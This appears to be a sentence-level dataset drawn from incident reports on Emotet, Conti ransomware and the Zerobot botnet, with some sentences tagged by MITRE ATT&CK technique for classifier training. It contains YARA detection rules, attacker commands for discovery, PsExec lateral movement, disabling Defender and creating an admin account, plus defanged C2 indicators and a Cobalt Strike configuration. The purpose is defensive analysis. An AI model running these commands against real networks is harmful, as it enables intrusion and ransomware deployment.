{"sentence": "Goodware String - occured 41 times */ $s15 = \"Root Entry\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 46 times */ $s16 = \"SummaryInformation\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 1 times */ condition: uint16(0) == 0xcfd0 and filesize < 200KB and all of them } rule cobalt_strike_14435_dll_1 { meta: description = \"1.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"1b9c9e4ed6dab822b36e3716b1e8f046e92546554dff9bdbd18c822e18ab226b\" strings: $s1 = \"curity><requestedPrivileges><requestedExecutionLevel level=\\\"asInvoker\\\" uiAccess=\\\"false\\\"></requestedExecutionLevel></requeste\" ascii $s2 = \"CDNS Project.dll\" fullword ascii $s3 = \"hemas.microsoft.com/SMI/2005/WindowsSettings\\\">true</dpiAware></windowsSettings></application></assembly>\" fullword ascii $s4 = \"Hostname to lookup:\" fullword wide $s5 = \"Hostnames:\" fullword wide $s6 = \"wOshV- D3\\\"[email protected] \\\\\" fullword ascii $s7 = \"T4jk{zrvG#@KRO* d'z\" fullword ascii $s8 = \"CDNS Project Version 1.0\" fullword wide $s9 = \"zK$%S.cPO>rtW\" fullword ascii $s10 = \"vOsh.HSDiXRI\" fullword ascii $s11 = \"l4p.oZewOsh7zP\" fullword ascii $s12 = \"5p2o.ewOsh7H\" fullword ascii $s13 = \"h7H.DiX\" fullword ascii $s14 = \"l4pWo.ewOsh[H%DiXRI\" fullword ascii $s15 = \"rEWS).lpp~o\" fullword ascii $s16 = \",m}_lOG\" fullword ascii $s17 = \"<assembly xmlns=\\\"urn:schemas-microsoft-com:asm.v1\\\" manifestVersion=\\\"1.0\\\"><trustInfo xmlns=\\\"urn:schemas-microsoft-com:asm.v3\" ascii $s18 = \"vileges></security></trustInfo><application xmlns=\\\"urn:schemas-microsoft-com:asm.v3\\\"><windowsSettings><dpiAware xmlns=\\\"http:/\" ascii $s19 = \"tn9- 2\" fullword ascii $s20 = \"PDiXRI7\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 8000KB and ( pe.imphash() == \"d1aef4e37a548a43a95d44bd2f8c0afc\" or 8 of them ) } rule cobalt_strike_14435_dll_2 { meta: description = \"32.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"76bfb4a73dc0d3f382d3877a83ce62b50828f713744659bb21c30569d368caf8\" strings: $x1 = \"mail glide drooping dismiss collation production mm refresh murderer start parade subscription accident retorted carter stalls r\" ascii $s2 = \"vlu405yd87.dll\" fullword ascii $s3 = \"XYVZSWWVU\" fullword ascii /* base64 encoded string 'aVRYeT' */ $s4 = \"ZYWVWSXVT\" fullword ascii /* base64 encoded string 'aeVIuS' */ $s5 = \"WXVZTVVUVX\" fullword ascii /* base64 encoded string 'YuYMUTU' */ $s6 = \"ZYXZXSWZW\" fullword ascii /* base64 encoded string 'avWIfV' */ $s7 = \"SZWVSZTVU\" fullword ascii /* base64 encoded string 'eeRe5T' */ $s8 = \"VXVWUWVZYY\" fullword ascii /* base64 encoded string 'UuVQeYa' */ $s9 = \"VSXZZYSVU\" fullword ascii /* base64 encoded string 'IvYa%T' */ $s10 = \"VXUZUVWVU\" fullword ascii /* base64 encoded string ']FTUeT' */ $s11 = \"SVVZZXZUVW\" fullword ascii /* base64 encoded string 'IUYevTU' */ $s12 = \"USVZVSWVZ\" fullword ascii /* base64 encoded string 'IVUIeY' */ $s13 = \"SWVVTVSVWWXZZVVV\" fullword ascii /* base64 encoded string 'YUSU%VYvYUU' */ $s14 = \"VSXVUXXZS\" fullword ascii /* base64 encoded string 'IuT]vR' */ $s15 = \"WSVZYWZWWW\" fullword ascii /* base64 encoded string 'Y%YafVY' */ $s16 = \"XUSZXXVVW\" fullword ascii /* base64 encoded string 'Q&W]UV' */ $s17 = \"ZWZWZVZWWWZ\" fullword ascii /* base64 encoded string 'efVeVVYf' */ $s18 = \"STZVYVVZYS\" fullword ascii /* base64 encoded string 'I6UaUYa' */ $s19 = \"ZWZWYSZXUZ\" fullword ascii /* base64 encoded string 'efVa&WQ' */ $s20 = \"SVVWWVVVWW\" fullword ascii /* base64 encoded string 'IUVYUUY' */ condition: uint16(0) == 0x5a4d and filesize < 2000KB and ( pe.imphash() == \"4e03b8b675969416fb0d10e8ab11f7c2\" or ( 1 of ($x*) or 12 of them ) ) } rule find_bat_14335 { meta: description = \"Find.bat using AdFind\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"5bc00ad792d4ddac7d8568f98a717caff9d5ef389ed355a15b892cc10ab2887b\" strings: $x1 = \"find.exe\" nocase wide ascii $s1 = \"objectcategory\" nocase wide ascii $s2 = \"person\" nocase wide ascii $s3 = \"computer\" nocase wide ascii $s4 = \"organizationalUnit\" nocase wide ascii $s5 = \"trustdmp\" nocase wide ascii condition: filesize < 1000 and 1 of ($x*) and 4 of ($s*) } rule adfind_14335 { meta: description = \"Find.bat using AdFind\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682\" strings: $x1 = \"joeware.net\" nocase wide ascii $s1 = \"xx.cpp\" nocase wide ascii $s2 = \"xxtype.cpp\" nocase wide ascii $s3 = \"Joe Richards\" nocase wide ascii $s4 = \"RFC 2253\" nocase wide ascii $s5 = \"RFC 2254\" nocase wide ascii condition: uint16(0) == 0x5a4d and filesize < 2000KB and 1 of ($x*) or 4 of ($s*) } rule p_bat_14335 { meta: description = \"Finding bat files that is used for enumeration\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" strings: $a1 = \"for /f", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "%%i in\" nocase wide ascii $a2 = \"do ping", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "%%i\" nocase wide ascii $a3 = \"-n 1 >>\" nocase wide ascii $a4 = \"res.txt\" nocase wide ascii condition: filesize < 2000KB and all of ($a*)} MITRE Dynamic-link Library Injection - T1055.001 Component Object Model - T1559.001 PowerShell - T1059.001 Regsvr32 - T1218.010 Pass the Hash - T1550.002 Domain Groups - T1069.002 Domain Account - T1087.002 Domain Trust Discovery - T1482 Malicious File - T1204.002 SMB/Windows Admin Shares - T1021.002 Lateral Tool Transfer - T1570 Process Injection - T1055 Exfiltration to Cloud Storage - T1567.002 Thread Execution Hijacking - T1055.003 Remote System Discovery - T1018 System Information Discovery - T1082 Application Layer Protocol - T1071 Network Share Discovery - T1135 Kerberoasting - T1558.003 LSASS Memory - T1003.001 Registry Run Keys / Startup Folder - T1547.001 Phishing - T1566 Spearphishing Attachment - T1566.001 Internal case #14335", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Introduction First seen in May 2020, Conti ransomware has quickly become one of the most common ransomware variants, according to Coveware.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "As per Coveware’s Quarterly Ransomware Report (Q1 2021), Conti has the 2nd highest market share after Sodinokibi, which we wrote about here.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "In April, we saw a threat actor go from an initial IcedID infection to deploying Conti ransomware domain wide in two days and 11 hours.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The hands on keyboard activity lasted for two and a half hours.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Summary We assess with moderate confidence that the initial vector used by the threat actor was a zip file, which included a malicious JavaScript file, delivered through a phishing campaign.", "labels": ["T1566.001"], "doc_title": "Conti Ransomware"}
{"sentence": "The JavaScript file would eventually download and execute the IcedID malware.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Discovered in 2017, what started as a commodity malware is now currently being deployed as an initial access broker by ransomware threat actors.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "After being dormant for over two days, a Cobalt Strike Beacon was dropped and executed on the system infected with IcedID.", "labels": ["T1105"], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actors then ran another round of discovery activity with native windows utilities such as nltest.exe, whoami.exe, and net.exe.", "labels": ["T1033", "T1059.003"], "doc_title": "Conti Ransomware"}
{"sentence": "They then successfully escalated to SYSTEM privileges via Cobalt Strike’s built-in “named pipe impersonation” (GetSystem) functionality.", "labels": ["T1570"], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actors continued by moving laterally to the domain controllers on the network using SMB to transfer and execute a Cobalt Strike Beacon.", "labels": ["T1570"], "doc_title": "Conti Ransomware"}
{"sentence": "During that time, we observed port scanning activity from one of the domain controllers, to identify open ports such as SSH, SMB, MSSQL, RDP and WinRM.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "After a brief gap of 15 minutes, the threat actors used PsExec, to copy and execute a Cobalt Strike Beacon DLL on most of the systems in the network.", "labels": ["T1570"], "doc_title": "Conti Ransomware"}
{"sentence": "Later in the attack, the threat actor was seen establishing RDP connections from the beachhead host to the domain controller and other systems throughout the environment.", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"}
{"sentence": "This RDP activity was being proxied through the IcedID process running on that host, to a remote proxy over port 8080.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "To establish persistence, the attackers created a new local user on one of the domain controllers and added it to the Administrators group.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Additionally, in an effort to evade any detection and prevention mechanisms, they disabled Windows Defender via a group policy modification.", "labels": ["T1484.001", "T1562.001"], "doc_title": "Conti Ransomware"}
{"sentence": "After further review of the environment (post encryption), we realized multiple systems (including a domain controller) were unable to be accessed and would not have been restorable even if the ransom had been paid.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Services We offer multiple services including a Threat Feed service which tracks Cobalt Strike, Metasploit, Empire, PoshC2, etc.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Timeline Analysis and reporting completed by @pigerlin, @MetallicHack, @yatinwad, and 1 unnamed contributor.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Reviewed by @kostastsale, @RoxpinTeddy, and @TheDFIRReport MITRE ATT&CK Initial Access The IcedID DLL that we executed was most likely dropped through a zip file, which included a JavaScript file within it.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Brad had a few posts about these around the time of this intrusion.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "1 2 Thanks Brad!", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Various attributes including the computer name and the OS version of the compromised system were sent through encoded cookie values.", "labels": ["T1082"], "doc_title": "Conti Ransomware"}
{"sentence": "IcedID was executed via rundll32.exe and ran command and control over port 443 for the duration of the intrusion.", "labels": ["T1218.011"], "doc_title": "Conti Ransomware"}
{"sentence": "Various commands were executed to gather more information about the compromised environment; including the currently logged on user, domain trusts, groups, etc .", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "ipconfig /allsysteminfowhoami", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "/groupsnet config workstation nltest /domain_trusts nltest /domain_trusts /all_trustsnet view /all", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "dir %HOMEDRIVE%%HOMEPATH%cmd.exe /C", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "nltest /domain_trustscmd.exe", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "nltest /dclist:cmd.exe /C", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "net group \"Enterprise admins\" /domaincmd.exe /C", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "After moving laterally to a domain controller, they began looking for what networks were present in the environment using dsquery.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "cmd.exe /C dsquery subnet -limit 0 Shortly thereafter, port scanning was observed coming from a domain controller looking for common ports (such as SSH, SMB, MSSQL, WinRM and RDP, etc.)", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "echo 4d64fbbbf34 > \\\\. \\pipe\\b4312c” ParentImage: “C:\\Windows\\System32\\runonce.exe” ParentCommandLine: “C:\\Windows\\system32\\runonce.exe Lateral Movement The threat actor began lateral movement using remote execution of Cobalt Strike Beacon service binaries.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "reg add \"hklm\\system\\currentControlSet\\Control\\Terminal Server\" /v", "labels": ["T1112"], "doc_title": "Conti Ransomware"}
{"sentence": "\"fDenyTSConnections\" /t", "labels": ["T1112"], "doc_title": "Conti Ransomware"}
{"sentence": "psexec.exe -accepteula -d -s \\\\<INTERNAL_IP> rundll32.exe C:\\windows\\192145.dll,StartW From here, RDP connections were established from the beachhead host to systems throughout the environment.", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"}
{"sentence": "The connections were proxied through the IcedID process.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actor used a redirector (38.135.122[.]194:8080) to proxy the RDP traffic being passed through the IcedID process.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "The below traffic shows more details of the RDP session, including the username in the cookie.", "labels": ["T1021.001", "T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "This proxied traffic reported back the hostname of the threat actors machine as “mikespc”.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "We’re looking for you Mike!", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "They then force updated the GPO on all clients using Cobalt Strike.", "labels": ["T1484.001"], "doc_title": "Conti Ransomware"}
{"sentence": "ParentCommandLine CommandLine C:\\Windows\\System32\\dllhost.exe C:\\Windows\\system32\\cmd.exe /C gpupdate /force C:\\Users\\USER\\AppData\\Local\\Temp\\icju1.exe C:\\Windows\\system32\\cmd.exe /C gpupdate /force C:\\Windows\\System32\\dllhost.exe C:\\Windows\\system32\\cmd.exe /C gpupdate /force “rundll32.exe” c:\\windows\\192145.dll,StartW C:\\Windows\\system32\\cmd.exe /C gpupdate /force Registry Keys Action HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Monitoring\\DisableRealtimeMonitoring DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Monitoring\\DisableBehaviorMonitoring DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Monitoring\\DisableIntrusionPreventionSystem DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection DeleteKey", "labels": ["T1059.003", "T1112"], "doc_title": "Conti Ransomware"}
{"sentence": "In addition, other security services were stopped or uninstalled.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "NET STOP \"redacted\" EventID: 13 Description: RegistryEvent (Value Set)", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "TargetObject: HKLM\\System\\CurrentControlSet\\Services\\<redacted>\\Start Value: DWORD (0x00000004) Command and Control IcedID 68.183.20[.]194:80 vaclicinni[.]xyz 83.97.20[.]160:443 oxythuler[.]cyou expertulthima[.]club dictorecovery[.]cyou thulleultinn[.]club Key identifier: 82:92:07:", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "FD:86:23:FE:26:0E:4A:42:5A:F7:C7:70:2A:45:4E:01:5B Not Before: Apr 22 15:27:02 2021 GMT Not After : Apr 22 15:27:02 2022 GMT CommonName: localhost City= AU State= Some-State Org = Internet Widgits Pty Ltd ja3: a0e9f5d64349fb13191bc781f81f42e1 ja3s: ec74a5c51106f0419184d0dd08fb05bc 159.89.140[.]116:443 oxythuler[.]cyou thulleultinn[.]club Key Identifier: A4:EB:95:C2:04:91:E3:AF:67:7C:5D:B3:CB:DB:E3:38:90:5E:A7:68 Not Before: Apr 13 14:59:41 2021 GMT Not After : Apr 13 14:59:41 2022 GMT CommonName: localhost City= AU State= Some-State Org = Internet Widgits Pty Ltd ja3: a0e9f5d64349fb13191bc781f81f42e1 ja3s: ec74a5c51106f0419184d0dd08fb05bc Cobalt Strike 192.99.178[.]145:80 dimentos[.]com Config:", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Port 443:\"Spawn", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 443, \"Beacon Type\": \"8 (HTTPS)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"dimentos[.]com,/FAQ\"\"Spawn To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 443, \"Beacon Type\": \"8 (HTTPS)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"dimentos[.]com,/bg\"Port 80:\"Spawn To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 80, \"Beacon Type\": \"0 (HTTP)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"192[.]99[.]178[.]145,/r-arrow\"\"Spawn To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 80, \"Beacon Type\": \"0 (HTTP)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"192[.]99[.]178[.]145,/bg\" Machine beaconing out to Cobalt Strike using the above profile Persistence An account named “nuuser” was created by one of the Cobalt Strike Beacons.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "As these commands were run on a domain controller, it essentially added the account to the Built-in Administrators domain group, granting it administrative privileges in the AD domain.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "nuuser 7HeC00l3stP@ssw0rd net localgroup administrators nuuser /add", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Credential Access LSASS was accessed by an unusual process “runonce.exe” on multiple hosts, including a domain controller.", "labels": ["T1003.001"], "doc_title": "Conti Ransomware"}
{"sentence": "EventID: 10Description: Process Access SourceImage: “C:\\Windows\\System32\\runonce.exe” TargetImage: “C:\\Windows\\system32\\lsass.exe” SourceImage: C:\\Windows\\system32\\runonce.exe\"TargetImage: \"C:\\Windows\\system32\\lsass.exe\"GrantedAccess: 0x1010CallTrace: \"C:\\Windows\\SYSTEM32\\ntdll.dll+9c584|C:\\Windows\\System32\\KERNELBASE.dll+2730e|UNKNOWN(0000028A62BDC798)\"", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The overpass-the hash technique was used to acquire a valid Kerberos ticket for the administrator user.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Impact About two and a half hours after initial hands on keyboard activity, the Cobalt Strike Beacon processes running across the target systems injected the Conti DLL into memory.", "labels": ["T1055"], "doc_title": "Conti Ransomware"}
{"sentence": "Conti deployments using a DLL seem to have first started showing up in December 2020.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "December 8, 2020 Some traces of this particular DLL were found in the memory dump taken from one of the compromised systems.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "We were unable to reconstruct the DLL from memory but Maxime Thiebaut (@0xThiebaut) from NVISO helped us out.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Conti scans the network for 445/SMB, looking for machines to encrypt.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actors asked for 150k and could have been talked down at least ~20%.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The machines were left like this and you were not able to do anything but press control+alt+delete.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Pivots While researching the infrastructure related to this campaign, we found the threat actor revealed further infrastructure.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The domain associated with the Cobalt Strike C2 (dimentos[.]com) has an unredacted Whois record that reveals several other domains also registered by the address pokix19891[@]kindbest[.]com.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "You’ll notice the fake address and fake phone number as well.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "All the domains were registered on 2021-03-30, and according to public data available in VirusTotal, three of them have been associated with Cobalt Strike infrastructure so far; the domain seen in this intrusion, powelin[.]com and awesents[.]com.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The two other domains (jocinet[.]com, ilimennt[.]com) have subdomains that look like name servers (ns1 and ns2), which were pointed to two of the Cobalt Strike hosting IP’s.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "All of this infrastructure was hosted on the VPS provider OVH. IOCs Files b52c0640957e5032b5160578f8cb99f9b066fde4f9431ee6869b2eea67338f28.dll.exe b52c0640957e5032b5160578f8cb99f9b066fde4f9431ee6869b2eea67338f28 icju1.exe e54f38d06a4f11e1b92bb7454e70c949d3e1a4db83894db1ab76e9d64146ee06 rate_x32.dat eb79168391e64160883b1b3839ed4045b4fd40da14d6eec5a93cfa9365503586192145.dll f29bc338e63a62c24c301c04961084013816733dad446a29c20d4413c5c818af9 Network IcedID vaclicinni[.]xyz thulleultinn[.]club oxythuler[.]cyou dictorecovery[.]cyou expertulthima[.]club 68.183.20[.]194:80 159.89.140[.]116:443 83.97.20[.]160:443 Cobalt Strikedimentos[.]com 192.99.178[.]145:80 Proxy38.135.122[.]194:8080 Detections Surricata ET MALWARE Win32/IcedID Requesting Encoded Binary M4 ET MALWARE W32/Photoloader.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The DFIR ReportDate: 2021-05-09Identifier: 3584Reference: https://thedfirreport.com*//*", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Goodware String - occured 207 times */$s5 = \"?klopW@@YAHXZ\" fullword ascii$s6 = \"?jutre@@YAHXZ\" fullword ascii$s7 = \"PluginInit\" fullword ascii$s8 = \"[]_^A\\\\A]A^A_\"", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "fullword ascii$s9 = \"e8[_^A\\\\A]A^A_]\" fullword ascii$s10 = \"[_^A\\\\A]A^A_]\" fullword ascii$s11 = \"Kts=R,4iu\" fullword ascii$s12 = \"mqr55c\" fullword ascii$s13 = \"R,4i=Bj\" fullword ascii$s14 = \"Ktw=R,4iu\" fullword ascii$s15 = \"Ktu=R,4iu\" fullword ascii$s16 = \"Kt{=R,4iu\" fullword ascii$s17 = \"KVL.Mp\" fullword ascii$s18 = \"Kt|=R,4iu\" fullword ascii$s19 = \"=8c[Vt8=\" fullword ascii$s20 = \"Ktx=R,4iu\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 700KB and( pe.imphash() == \"15787e97e92f1f138de37f6f972eb43c\" and ( pe.exports(\"?jutre@@YAHXZ\") and pe.exports(\"?klopW@@YAHXZ\") and pe.exports(\"PluginInit\") and pe.exports(\"update\") ) or 8 of them )}rule conti_cobaltstrike_192145 {meta:description = \"files - file 192145.dll\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"29bc338e63a62c24c301c04961084013816733dad446a29c20d4413c5c818af9\"strings:$x1 = \"cmd.exe /c", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "echo", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "NGAtoDgLpvgJwPLEPFdj>\\\"%s\\\"&exit\" fullword ascii$s2 = \"veniamatquiest90.dll\" fullword ascii$s3 = \"Quaerat magni assumenda nihil architecto labore ullam autem unde temporibus mollitia illum\" fullword ascii$s4 = \"Quaerat tempora culpa provident\" fullword ascii$s5 = \"Velit consequuntur quisquam tempora error\" fullword ascii$s6 = \"Quo omnis repellat ut expedita temporibus eius fuga error\" fullword ascii$s7 = \"Dolores ullam tempora error distinctio ut natus facere quibusdam\" fullword ascii$s8 = \"Corporis minima omnis qui est temporibus sint quo error magnam\" fullword ascii$s9 = \"Officia sit maiores deserunt nobis tempora deleniti aut et quidem fugit\" fullword ascii$s10 = \"Rerum tenetur sapiente est tempora qui deserunt\" fullword ascii$s11 = \"Sed nulla quaerat porro error excepturi\" fullword ascii$s12 = \"Aut tempore quo cumque dicta ut quia in\" fullword ascii$s13 = \"Doloribus commodi repudiandae voluptates consequuntur neque tempora ut neque nemo ad ut\" fullword ascii$s14 = \"Tempore possimus aperiam nam mollitia illum hic at ut doloremque\" fullword ascii$s15 = \"Dolorum eum ipsum tempora non et\" fullword ascii$s16 = \"Quas alias illum laborum tempora sit est rerum temporibus dicta et\" fullword ascii$s17 = \"Et quia aut temporibus enim repellat dolores totam recusandae repudiandae\" fullword ascii$s18 = \"Sed velit ipsa et dolor tempore sunt nostrum\" fullword ascii$s19 = \"Veniam voluptatem aliquam et eaque tempore tenetur possimus\" fullword ascii$s20 = \"Possimus suscipit placeat dolor quia tempora voluptas qui fugiat et accusantium\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 2000KB and( pe.imphash() == \"5cf3cdfe8585c01d2673249153057181\" and pe.exports(\"StartW\") or ( 1 of ($x*) or 4 of them ) )}rule conti_cobaltstrike_icju1", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "{meta:description = \"files - file icju1.exe\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"e54f38d06a4f11e1b92bb7454e70c949d3e1a4db83894db1ab76e9d64146ee06\"strings:$x1 = \"cmd.exe /c", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "echo NGAtoDgLpvgJwPLEPFdj>\\\"%s\\\"&exit\" fullword ascii$s2 = \"veniamatquiest90.dll\" fullword ascii$s3 = \"Quaerat magni assumenda nihil architecto labore ullam autem unde temporibus mollitia illum\" fullword ascii$s4 = \"Quaerat tempora culpa provident\" fullword ascii$s5 = \"Dolores ullam tempora error distinctio", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "ut natus facere quibusdam\" fullword ascii$s6 = \"Velit consequuntur quisquam tempora error\" fullword ascii$s7 = \"Corporis minima omnis qui est temporibus sint quo error magnam\" fullword ascii$s8 = \"Quo omnis repellat ut expedita temporibus eius fuga error\" fullword ascii$s9 = \"Officia sit maiores deserunt nobis tempora deleniti aut et quidem fugit\" fullword ascii$s10 = \"Rerum tenetur sapiente est tempora qui deserunt\" fullword ascii$s11 = \"Sed nulla quaerat porro error excepturi\" fullword ascii$s12 = \"Aut tempore quo cumque dicta ut quia in\" fullword ascii$s13 = \"Doloribus commodi repudiandae voluptates consequuntur neque tempora ut neque nemo ad ut\" fullword ascii$s14 = \"Tempore possimus aperiam nam mollitia illum hic at ut doloremque\" fullword ascii$s15 = \"Et quia aut temporibus enim repellat dolores totam recusandae repudiandae\" fullword ascii$s16 = \"Dolorum eum ipsum tempora non et\" fullword ascii$s17 = \"Quas alias illum laborum tempora sit est rerum temporibus dicta et\" fullword ascii$s18 = \"Sed velit ipsa et dolor tempore sunt nostrum\" fullword ascii$s19 = \"Veniam voluptatem aliquam et eaque tempore tenetur possimus\" fullword ascii$s20 = \"Possimus suscipit placeat dolor quia tempora voluptas qui fugiat et accusantium\" fullword asciicondition:( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 4 of them ))", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "or ( all of them )} MITRE: Command and Scripting Interpreter – T1059External Proxy – T1090.002Remote Desktop Protocol – T1021.001OS Credential Dumping –", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "T1003Pass the Hash – T1550.002Service Execution – T1569.002SMB/Windows Admin Shares – T1021.002Data Encrypted for Impact – T1486System Owner/User Discovery – T1033Permission Groups Discovery – T1069Application Layer Protocol – T1071Process Injection – T1055Group Policy Modification –", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "T1484Access Token Manipulation – T1134Create Account – T1136Remote System Discovery – T1018Network Service Scanning – T1046Domain Account – T1087.002Impair Defenses – T1562 Internal case: 3584 The post Conti Ransomware appeared first on The DFIR Report.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Botnet malware operations are a constantly evolving threat to devices and networks.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Threat actors target Internet of Things (IoT) devices for recruitment into malicious operations as IoT devices’ configurations often leave them exposed, and the number of internet-connected devices continue to grow.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Recent trends have shown that operators are redeploying malware for a variety of distributions and objectives, modifying existing botnets to scale operations and add as many devices as possible to their infrastructure.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot, a Go-based botnet that spreads primarily through IoT and web application vulnerabilities, is an example of an evolving threat, with operators continuously adding new exploits and capabilities to the malware.", "labels": ["T1190"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The Microsoft Defender for IoT research team has been monitoring Zerobot (also called ZeroStresser by its operators) for months.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
